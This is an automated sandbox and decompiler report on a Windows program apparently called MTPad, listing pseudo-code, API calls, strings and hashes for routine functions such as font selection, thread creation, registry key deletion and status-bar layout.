Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: EntryInterlockedList$AllocHeapVirtual$FeatureFreePresentProcessProcessorPush
String ID:
API String ID: 2304957937-0
Opcode ID: 6b47e8ece9bebb1f120406aff35ca94bba04c159c6b5fee1b5633ccdf854c1ee
Instruction ID: e5df1f99f957fb011b8c06fd3fdbcf680884d820966216d6f311851b36179eeb
Opcode Fuzzy Hash: 6b47e8ece9bebb1f120406aff35ca94bba04c159c6b5fee1b5633ccdf854c1ee
Instruction Fuzzy Hash: FB11C031640F11F7E7335764ED08B6B366AAB89791FA64520F989E61D0CFE4CCC0AE60

Uniqueness

Uniqueness Score: -1.00%

Function 000F7040 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E000F7040(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _v8;
				struct tagLOGFONTA _v68;
				signed int _v172;
				intOrPtr _v208;
				char _v228;
				signed int _t15;
				void* _t21;
				int _t28;
				void* _t30;
				void* _t37;
				void* _t40;
				signed int _t41;

				_t37 = __edi;
				_t30 = __ebx;
				_t15 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t15 ^ _t41;
				_push(__esi);
				_t39 =  &_v228;
				E000FAE50( &_v228);
				_v228 = 0x112d68;
				GetObjectA( *(__edi + 0x4c), 0x3c,  &_v68);
				_v172 = _v172 | 0x00000040;
				_t21 = E000FAEC0(GetActiveWindow(), _t39, __edi, _t39);
				_pop(_t40);
				if(_t21 == 1) {
					if(DeleteObject( *(__edi + 0x4c)) != 0) {
						 *(__edi + 0x4c) = 0;
					}
					_t28 = CreateFontIndirectA( &_v68);
					 *(_t37 + 0x4c) = _t28;
					_t35 =  *(_t37 + 4);
					SendMessageA( *(_t37 + 4), 0x30, _t28, 1);
				}
				_t22 = _v208;
				if(_v208 != 0) {
					E00105701(_t22);
				}
				return E001059E6(0, _t30, _v8 ^ _t41, _t35, _t37, _t40);
			}

0x000f7040
0x000f7040
0x000f7049
0x000f7050
0x000f7053
0x000f7054
0x000f705a
0x000f7069
0x000f7073
0x000f7079
0x000f7088
0x000f708d
0x000f7091
0x000f709f
0x000f70a1
0x000f70a1
0x000f70ac
0x000f70b5
0x000f70b8
0x000f70be
0x000f70be
0x000f70c4
0x000f70cc
0x000f70cf
0x000f70cf
0x000f70e3

APIs

Part of subcall function 000FAE50: _memset.LIBCMT ref: 000FAE70
Part of subcall function 000FAE50: _memset.LIBCMT ref: 000FAE80
Part of subcall function 000FAE50: _memset.LIBCMT ref: 000FAE8D

GetObjectA.GDI32(?,0000003C,?), ref: 000F7073
GetActiveWindow.USER32 ref: 000F7080

Part of subcall function 000FAEC0: GetCurrentThreadId.KERNEL32 ref: 000FAED6
Part of subcall function 000FAEC0: EnterCriticalSection.KERNEL32(00170C68), ref: 000FAEE4
Part of subcall function 000FAEC0: LeaveCriticalSection.KERNEL32(00170C68), ref: 000FAEFE
Part of subcall function 000FAEC0: ChooseFontA.COMDLG32(?), ref: 000FAF08
Part of subcall function 000FAEC0: _memmove.LIBCMT ref: 000FAF28

DeleteObject.GDI32(?), ref: 000F7097
CreateFontIndirectA.GDI32(?), ref: 000F70AC
SendMessageA.USER32(?,00000030,00000000,00000001), ref: 000F70BE

Strings

@, xrefs: 000F7079

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: _memset$CriticalFontObjectSection$ActiveChooseCreateCurrentDeleteEnterIndirectLeaveMessageSendThreadWindow_memmove
String ID: @
API String ID: 490426879-2766056989
Opcode ID: 6f242d29742f7b9ca41c67650c5660087f357bb3b4a228eb7cd1c889e1341f1a
Instruction ID: 60c58e77c5893d93ef283ad25524bcdd154946d14500e8378f64a12fafd4d1d9
Opcode Fuzzy Hash: 6f242d29742f7b9ca41c67650c5660087f357bb3b4a228eb7cd1c889e1341f1a
Instruction Fuzzy Hash: A2115E70A10218EBDB24DBA1DD45BAEB7B8BF48340F008558F609E7980CB71A984DB91

Uniqueness

Uniqueness Score: -1.00%

Function 000F9E80 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47
windowthreadCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E000F9E80(void* __ecx, signed int* __esi, void _a4, intOrPtr _a8) {
				long _v8;
				void* _t9;
				struct HWND__* _t10;
				void* _t19;
				void* _t22;

				if( *__esi != 0x3f) {
					_push(8);
					_t9 = E001065FC(_t19, _t22, __esi, __eflags);
					 *_t9 = _a4;
					 *((intOrPtr*)(_t9 + 4)) = _a8;
					_t10 = CreateThread(0, 0, E000F9D30, _t9, 0,  &_v8);
					__eflags = _t10;
					if(_t10 != 0) {
						 *(__esi + 4 +  *__esi * 4) = _t10;
						 *__esi =  *__esi + 1;
						__eflags =  *__esi;
						return _v8;
					} else {
						MessageBoxA(_t10, "Cannot create thread!!!", "MTPad", _t10);
						__eflags = 0;
						return 0;
					}
				} else {
					MessageBoxA(0, "ERROR: Cannot create ANY MORE threads!!!", "MTPad", 0);
					return 0;
				}
			}

0x000f9e87
0x000f9ea5
0x000f9ea7
0x000f9eb5
0x000f9ec7
0x000f9eca
0x000f9ed0
0x000f9ed2
0x000f9ef0
0x000f9ef4
0x000f9ef4
0x000f9efc
0x000f9ed4
0x000f9ee0
0x000f9ee6
0x000f9eeb
0x000f9eeb
0x000f9e89
0x000f9e97
0x000f9ea2
0x000f9ea2

APIs

MessageBoxA.USER32 ref: 000F9E97
CreateThread.KERNEL32 ref: 000F9ECA
MessageBoxA.USER32 ref: 000F9EE0

Strings

Cannot create thread!!!, xrefs: 000F9EDA
MTPad, xrefs: 000F9E8B, 000F9ED5
ERROR: Cannot create ANY MORE threads!!!, xrefs: 000F9E90

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Message$CreateThread
String ID: Cannot create thread!!!$ERROR: Cannot create ANY MORE threads!!!$MTPad
API String ID: 329949306-3826758181
Opcode ID: c346d82a43e3d6d8ee34d97ac47f8e6a0a3ad96472ae09dbab7caa5b5cb28a12
Instruction ID: 2f203c75553ac65725080ea3b6058f71cba6d0acc475a5a205f2f4fb8925f98c
Opcode Fuzzy Hash: c346d82a43e3d6d8ee34d97ac47f8e6a0a3ad96472ae09dbab7caa5b5cb28a12
Instruction Fuzzy Hash: C101F730780308BFD354DF54DC06F76B7A8FF28702F108169F9449B680D6B1A8609751

Uniqueness

Uniqueness Score: -1.00%

Function 000F1740 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46
registrylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E000F1740(void** __eax, char* __ebx) {
				struct HINSTANCE__* _t7;
				_Unknown_base(*)()* _t8;
				void* _t14;
				void* _t18;

				_t18 = __eax[2];
				if(_t18 == 0) {
					return RegDeleteKeyA( *__eax, __ebx);
				} else {
					_t14 =  *__eax;
					if( *_t18 == 0) {
						if( *((intOrPtr*)(_t18 + 4)) == 0) {
							goto L7;
						} else {
							return RegDeleteKeyA(_t14, __ebx);
						}
					} else {
						_t7 = GetModuleHandleA("Advapi32.dll");
						if(_t7 == 0) {
							L7:
							return 1;
						} else {
							_t8 = GetProcAddress(_t7, "RegDeleteKeyTransactedA");
							if(_t8 == 0) {
								goto L7;
							} else {
								return  *_t8(_t14, __ebx, 0, 0,  *_t18, 0);
							}
						}
					}
				}
			}

0x000f1741
0x000f1746
0x000f17a3
0x000f1748
0x000f174c
0x000f174e
0x000f1783
0x00000000
0x000f1785
0x000f178f
0x000f178f
0x000f1750
0x000f1755
0x000f175d
0x000f1790
0x000f1797
0x000f175f
0x000f1765
0x000f176d
0x00000000
0x000f176f
0x000f177e
0x000f177e
0x000f176d
0x000f175d
0x000f174e

APIs

GetModuleHandleA.KERNEL32(Advapi32.dll,?,00000000,000F1A7A,?,?,00000000,?,?), ref: 000F1755
GetProcAddress.KERNEL32(00000000,RegDeleteKeyTransactedA), ref: 000F1765
RegDeleteKeyA.ADVAPI32(?,?), ref: 000F1787
RegDeleteKeyA.ADVAPI32(?,?), ref: 000F179C

Strings

Advapi32.dll, xrefs: 000F1750
RegDeleteKeyTransactedA, xrefs: 000F175F

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Delete$AddressHandleModuleProc
String ID: Advapi32.dll$RegDeleteKeyTransactedA
API String ID: 636244128-1972538232
Opcode ID: aeb78d44471607fff8e81420895a5a986acea7593427d9a315d952648688787f
Instruction ID: 72a7484aab7ac5c1bb2981776432a7bc271b3619892c80a80e59948d3d10e669
Opcode Fuzzy Hash: aeb78d44471607fff8e81420895a5a986acea7593427d9a315d952648688787f
Instruction Fuzzy Hash: 68F04431604314ABE665AB65FC88FF673ECEB84B51F154059F10897594C7B0ACC59660

Uniqueness

Uniqueness Score: -1.00%

Function 000FB100 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000FB100(struct HMENU__* __eax, void* __ecx) {
				CHAR* _t14;
				void* _t17;

				_t4 = __eax;
				_t17 = __ecx;
				 *((intOrPtr*)(__ecx + 0x10)) = __eax;
				if(__eax == 0) {
					L2:
					_t14 = _t17 + 0x14;
					if(_t14 == 0) {
						L6:
						return _t4;
					}
					if(lstrlenA("(empty)") <= 0x103) {
						_t4 = lstrcpynA(_t14, "(empty)", lstrlenA("(empty)") + 1);
						goto L6;
					}
					return lstrcpynA(_t14, "(empty)", 0x104);
				} else {
					_t4 = GetMenuStringA(__eax, 0xe110, __ecx + 0x14, 0x104, 0);
					if(_t4 != 0) {
						return _t4;
					} else {
						goto L2;
					}
				}
			}

0x000fb100
0x000fb101
0x000fb103
0x000fb108
0x000fb125
0x000fb126
0x000fb12b
0x000fb16c
0x00000000
0x000fb16c
0x000fb13f
0x000fb166
0x00000000
0x000fb166
0x000fb156
0x000fb10a
0x000fb11b
0x000fb123
0x000fb16e
0x00000000
0x00000000
0x00000000
0x000fb123

APIs

GetMenuStringA.USER32(00000000,0000E110,?,00000104,00000000), ref: 000FB11B
lstrlenA.KERNEL32((empty),?,?,000F8056), ref: 000FB138
lstrcpynA.KERNEL32(?,(empty),00000104), ref: 000FB14E
lstrlenA.KERNEL32((empty)), ref: 000FB15C
lstrcpynA.KERNEL32(?,(empty),00000001), ref: 000FB166

Strings

(empty), xrefs: 000FB133, 000FB148, 000FB157, 000FB160

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: lstrcpynlstrlen$MenuString
String ID: (empty)
API String ID: 1190328411-3693985619
Opcode ID: c3a9ab9d2791747b3ac975a086af2defd0bb9e8eb28da833f51e363a41f09f8b
Instruction ID: 1b89a81ea4516e4147d3af66bc7124405c28d99e2a8177ae94308268968037e0
Opcode Fuzzy Hash: c3a9ab9d2791747b3ac975a086af2defd0bb9e8eb28da833f51e363a41f09f8b
Instruction Fuzzy Hash: 77F09035B082246BE6691F14FD19EF633BCEB88B00B00052BF651E2880D7F8A8D58A64

Uniqueness

Uniqueness Score: -1.00%

Function 00107440 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E00107440(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t26;
				intOrPtr _t30;
				intOrPtr _t39;
				void* _t40;

				_t31 = __ebx;
				_push(8);
				_push(0x114530);
				E00108F60(__ebx, __edi, __esi);
				GetModuleHandleW(L"KERNEL32.DLL");
				_t39 =  *((intOrPtr*)(_t40 + 8));
				 *((intOrPtr*)(_t39 + 0x5c)) = 0x1113a0;
				 *(_t39 + 8) =  *(_t39 + 8) & 0x00000000;
				 *((intOrPtr*)(_t39 + 0x14)) = 1;
				 *((intOrPtr*)(_t39 + 0x70)) = 1;
				 *((char*)(_t39 + 0xc8)) = 0x43;
				 *((char*)(_t39 + 0x14b)) = 0x43;
				 *(_t39 + 0x68) = 0x159068;
				E0010A67E(__ebx, 1, 0xd);
				 *(_t40 - 4) =  *(_t40 - 4) & 0x00000000;
				InterlockedIncrement( *(_t39 + 0x68));
				 *(_t40 - 4) = 0xfffffffe;
				E001074E2();
				E0010A67E(_t31, 1, 0xc);
				 *(_t40 - 4) = 1;
				_t26 =  *((intOrPtr*)(_t40 + 0xc));
				 *((intOrPtr*)(_t39 + 0x6c)) = _t26;
				if(_t26 == 0) {
					_t30 =  *0x1597d0; // 0x1596f8
					 *((intOrPtr*)(_t39 + 0x6c)) = _t30;
				}
				E00107084( *((intOrPtr*)(_t39 + 0x6c)));
				 *(_t40 - 4) = 0xfffffffe;
				return E00108FA5(E001074EB());
			}

0x00107440
0x00107440
0x00107442
0x00107447
0x00107451
0x00107457
0x0010745a
0x00107461
0x00107468
0x0010746b
0x0010746e
0x00107475
0x0010747c
0x00107485
0x0010748b
0x00107492
0x00107498
0x0010749f
0x001074a6
0x001074ac
0x001074af
0x001074b2
0x001074b7
0x001074b9
0x001074be
0x001074be
0x001074c4
0x001074ca
0x001074db

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00114530,00000008,00107548,00000000,00000000,?,?,00107A12,001063ED,?,?,?,000F1339,80070057), ref: 00107451
__lock.LIBCMT ref: 00107485

Part of subcall function 0010A67E: __mtinitlocknum.LIBCMT ref: 0010A694
Part of subcall function 0010A67E: __amsg_exit.LIBCMT ref: 0010A6A0
Part of subcall function 0010A67E: EnterCriticalSection.KERNEL32(00000000,00000000,?,0010748A,0000000D), ref: 0010A6A8

InterlockedIncrement.KERNEL32(?), ref: 00107492
__lock.LIBCMT ref: 001074A6
___addlocaleref.LIBCMT ref: 001074C4

Strings

KERNEL32.DLL, xrefs: 0010744C

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 31b93777c10d3d31d6372665afaf590da96205dd1965d4a03da5fea0c6471bd4
Instruction ID: daae29d91010ede7785dd519ee0a24453627dd68ed23bc987ba1cf5cb864db85
Opcode Fuzzy Hash: 31b93777c10d3d31d6372665afaf590da96205dd1965d4a03da5fea0c6471bd4
Instruction Fuzzy Hash: E2015BB1848B00EBD760AF75D905789FBE0BF64321F20894AE4D5966E1CBF4A684CB11

Uniqueness

Uniqueness Score: -1.00%

Function 0010E34F Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0010E34F(void* __edx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				void* __ebp;
				void* _t16;
				intOrPtr* _t19;
				void* _t23;

				_t26 = __esi;
				_t25 = __edi;
				_t24 = __edx;
				_t31 =  *((intOrPtr*)( *_a4)) - 0xe0434352;
				if( *((intOrPtr*)( *_a4)) == 0xe0434352) {
					L8:
					__eflags =  *((intOrPtr*)(E0010756D(_t23, _t24, __eflags) + 0x90));
					if(__eflags > 0) {
						_t16 = E0010756D(_t23, _t24, __eflags);
						_t9 = _t16 + 0x90;
						 *_t9 =  *((intOrPtr*)(_t16 + 0x90)) - 1;
						__eflags =  *_t9;
					}
					goto L10;
				} else {
					__eflags = __eax - 0xe0434f4d;
					if(__eflags == 0) {
						goto L8;
					} else {
						__eflags = __eax - 0xe06d7363;
						if(__eflags != 0) {
							L10:
							__eflags = 0;
							return 0;
						} else {
							 *(E0010756D(__ebx, __edx, __eflags) + 0x90) =  *(__eax + 0x90) & 0x00000000;
							_push(8);
							_push(0x1145a0);
							E00108F60(_t23, __edi, __esi);
							_t19 =  *((intOrPtr*)(E0010756D(_t23, __edx, _t31) + 0x78));
							if(_t19 != 0) {
								_v8 = _v8 & 0x00000000;
								 *_t19();
								_v8 = 0xfffffffe;
							}
							return E00108FA5(E00109458(_t23, _t24, _t25, _t26));
						}
					}
				}
			}

0x0010e34f
0x0010e34f
0x0010e34f
0x0010e35b
0x0010e360
0x0010e381
0x0010e386
0x0010e38d
0x0010e38f
0x0010e394
0x0010e394
0x0010e394
0x0010e394
0x00000000
0x0010e362
0x0010e362
0x0010e367
0x00000000
0x0010e369
0x0010e369
0x0010e36e
0x0010e39a
0x0010e39a
0x0010e39d
0x0010e370
0x0010e375
0x00108ec4
0x00108ec6
0x00108ecb
0x00108ed5
0x00108eda
0x00108edc
0x00108ee0
0x00108eeb
0x00108eeb
0x00108efc
0x00108efc
0x0010e36e
0x0010e367

APIs

__getptd.LIBCMT ref: 0010E370

Part of subcall function 0010756D: __getptd_noexit.LIBCMT ref: 00107570
Part of subcall function 0010756D: __amsg_exit.LIBCMT ref: 0010757D

__getptd.LIBCMT ref: 0010E381
__getptd.LIBCMT ref: 0010E38F

Strings

RCC, xrefs: 0010E35B
MOC, xrefs: 0010E362
csm, xrefs: 0010E369

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: 2bb8a019e40008f98128019de2652a676d431d22a54ffe0d566d161f219412f7
Instruction ID: 52aab06e771e6a18f9da802b02f2ee0c03a083f587c0bf9f66e4aa52885bd0d8
Opcode Fuzzy Hash: 2bb8a019e40008f98128019de2652a676d431d22a54ffe0d566d161f219412f7
Instruction Fuzzy Hash: 55E01234A04304CFCB20E766D54A7A83BE4BB58314F5619A1E48CCF2E2C7B4E8504942

Uniqueness

Uniqueness Score: -1.00%

Function 00100680 Relevance: 9.1, APIs: 6, Instructions: 138
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00100680(void* __ecx, struct HWND__* __edx) {
				long _v8;
				char _v16;
				signed int _v20;
				struct tagRECT _v36;
				char _v548;
				long _v552;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t55;
				signed int _t56;
				signed int _t58;
				void* _t60;
				long _t63;
				signed int _t67;
				signed int _t68;
				long _t72;
				int _t76;
				signed int _t84;
				void* _t85;
				signed int _t91;
				intOrPtr _t97;
				void* _t103;
				long _t104;
				void* _t105;
				void* _t107;
				long _t108;
				void* _t109;
				signed int _t110;
				char* _t117;

				_t100 = __edx;
				_push(0xffffffff);
				_push(E0010F43B);
				_push( *[fs:0x0]);
				_t55 =  *0x159060; // 0x1f9a9bdf
				_t56 = _t55 ^ _t110;
				_v20 = _t56;
				_push(_t103);
				_push(_t56);
				 *[fs:0x0] =  &_v16;
				_t107 = __ecx;
				_v552 = 0;
				_v8 = 0;
				_t58 =  *(__ecx + 0x24);
				_t60 = _t58 + _t58 + _t58 + _t58;
				if((0 << 0x00000020 | _t58) << 2 > 0 || _t60 > 0xffffffff) {
					_push(0x80070216);
					_t60 = E000F1170(_t100);
				}
				_t115 = _t60 - 0x200;
				if(_t60 <= 0x200) {
					_t104 =  &_v548;
					_v552 = _t104;
				} else {
					E000FFF60(_t60, _t100, _t103, _t107, _t115,  &_v552);
					_t104 = _v552;
				}
				if(_t104 != 0) {
					_t63 = SendMessageA( *(_t107 + 4), 0x406,  *(_t107 + 0x24), _t104);
					__eflags = _t63 -  *(_t107 + 0x24);
					if(_t63 ==  *(_t107 + 0x24)) {
						_v36.top = 0;
						_v36.right = 0;
						_v36.bottom = 0;
						_v36.left = 0;
						GetClientRect( *(_t107 + 4),  &_v36);
						_t100 =  *(_t107 + 4);
						_t84 = _v36.right -  *((intOrPtr*)(_t104 +  *(_t107 + 0x24) * 4 - 4));
						_t67 = GetWindowLongA( *(_t107 + 4), 0xfffffff0);
						__eflags = _t67 & 0x00000100;
						if((_t67 & 0x00000100) != 0) {
							_t76 = GetSystemMetrics(2);
							_t84 = _t84 - _t76 - GetSystemMetrics(0x2d);
							__eflags = _t84;
						}
						_t91 =  *(_t107 + 0x24);
						_t68 = 0;
						__eflags = _t91;
						if(_t91 > 0) {
							_t100 =  *(_t107 + 0x28);
							while(1) {
								__eflags = _t100->i;
								if(_t100->i == 0) {
									goto L19;
								}
								_t68 = _t68 + 1;
								_t100 = _t100 + 4;
								__eflags = _t68 - _t91;
								if(_t68 < _t91) {
									continue;
								}
								goto L19;
							}
						}
						L19:
						__eflags = _t68 - _t91;
						if(_t68 < _t91) {
							__eflags = _t68;
							if(_t68 != 0) {
								_t97 =  *((intOrPtr*)(_t104 + _t68 * 4 - 4));
							} else {
								_t97 = 0;
							}
							_t100 =  *((intOrPtr*)(_t104 + _t68 * 4)) + _t84;
							__eflags =  *((intOrPtr*)(_t104 + _t68 * 4)) + _t84 - _t97;
							if( *((intOrPtr*)(_t104 + _t68 * 4)) + _t84 > _t97) {
								do {
									 *((intOrPtr*)(_t104 + _t68 * 4)) =  *((intOrPtr*)(_t104 + _t68 * 4)) + _t84;
									_t68 = _t68 + 1;
									__eflags = _t68 -  *(_t107 + 0x24);
								} while (_t68 <  *(_t107 + 0x24));
							}
						}
						_t108 = SendMessageA( *(_t107 + 4), 0x404,  *(_t107 + 0x24), _t104);
						__eflags = _v552 -  &_v548;
						if(_v552 !=  &_v548) {
							E000FD040( &_v552);
						}
						_t72 = _t108;
					} else {
						__eflags = _v552 -  &_v548;
						goto L8;
					}
				} else {
					_t100 =  &_v548;
					_t117 =  &_v548;
					L8:
					if(_t117 != 0) {
						E000FD040( &_v552);
					}
					_t72 = 0;
				}
				 *[fs:0x0] = _v16;
				_pop(_t105);
				_pop(_t109);
				_pop(_t85);
				return E001059E6(_t72, _t85, _v20 ^ _t110, _t100, _t105, _t109);
			}

0x00100680
0x00100683
0x00100685
0x00100690
0x00100697
0x0010069c
0x0010069e
0x001006a3
0x001006a4
0x001006a8
0x001006b0
0x001006b2
0x001006b8
0x001006bb
0x001006c6
0x001006ca
0x001006d1
0x001006d6
0x001006d6
0x001006db
0x001006e0
0x001006f6
0x001006fc
0x001006e2
0x001006e9
0x001006ee
0x001006ee
0x00100704
0x00100730
0x00100736
0x00100739
0x0010074e
0x00100751
0x00100754
0x0010075c
0x0010075f
0x00100765
0x0010076e
0x00100775
0x0010077b
0x00100780
0x00100784
0x00100794
0x00100794
0x00100794
0x00100796
0x00100799
0x0010079b
0x0010079d
0x0010079f
0x001007a2
0x001007a2
0x001007a5
0x00000000
0x00000000
0x001007a7
0x001007a8
0x001007ab
0x001007ad
0x00000000
0x00000000
0x00000000
0x001007ad
0x001007a2
0x001007af
0x001007af
0x001007b1
0x001007b3
0x001007b5
0x001007bb
0x001007b7
0x001007b7
0x001007b7
0x001007c2
0x001007c4
0x001007c6
0x001007c8
0x001007c8
0x001007cb
0x001007cc
0x001007cc
0x001007c8
0x001007c6
0x001007eb
0x001007ed
0x001007f3
0x001007fb
0x001007fb
0x00100800
0x0010073b
0x00100741
0x00000000
0x00100741
0x00100706
0x00100706
0x0010070c
0x0010070e
0x0010070e
0x00100716
0x00100716
0x0010071b
0x0010071b
0x00100805
0x0010080d
0x0010080e
0x0010080f
0x0010081d

APIs

SendMessageA.USER32(?,00000406,00000000,?), ref: 00100730
GetClientRect.USER32 ref: 0010075F
GetWindowLongA.USER32 ref: 00100775
GetSystemMetrics.USER32 ref: 00100784
GetSystemMetrics.USER32 ref: 0010078E
SendMessageA.USER32(?,00000404,00000000,?), ref: 001007DF

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
